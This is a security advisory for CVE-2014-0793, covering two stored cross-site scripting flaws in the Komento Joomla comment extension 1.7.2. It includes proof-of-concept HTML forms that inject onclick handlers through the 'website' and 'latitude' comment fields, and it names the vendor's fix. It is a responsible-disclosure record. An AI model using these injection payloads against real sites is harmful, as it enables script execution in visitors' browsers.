Advisory ID: HTB23194
Product: Komento Joomla Extension
Vendor: Stack Ideas Sdn Bhd.
Vulnerable Version(s): 1.7.2 and probably prior
Tested Version: 1.7.2
Advisory Publication:  January 2, 2014  [without technical details]
Vendor Notification: January 2, 2014 
Vendor Patch: January 2, 2014 
Public Disclosure: January 23, 2014 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2014-0793
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be exploited to perform script insertion attacks.


1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the nickname of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's nickname in comment:

<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component"  value="com_content"> <input type="hidden" name="cid"  value="24"> <input type="hidden" name="comment"  value="comment"> <input type="hidden" name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> <input type="hidden" name="email"  value="email@email.com"> <input type="hidden" name="website"  value='http://www.htbridge.com" 
onclick="javascript:alert(/immuniweb/);"'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" name="latitude"  value=''>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" name="address"  value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId"  value="435"> <input type="hidden" name="option"  value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>


1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the address of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's address in comment:

<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component"  value="com_content"> <input type="hidden" name="cid"  value="24"> <input type="hidden" name="comment"  value="comment"> <input type="hidden" name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> <input type="hidden" name="email"  value="email@email.com"> <input type="hidden" name="website"  value='www.htbridge.com'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" name="latitude"  value='" 
onclick="javascript:alert(/imuniweb/);">'>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" name="address"  value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId"  value="435"> <input type="hidden" name="option"  value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>


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Solution:

Update to Komento 1.7.3

More Informaion:
http://stackideas.com/downloads/changelog/komento

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References:

[1] High-Tech Bridge Advisory HTB23194 - https://www.htbridge.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in Komento Joomla Extension.
[2] Komento Joomla Extension - http://stackideas.com/ - Komento is a Joomla comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.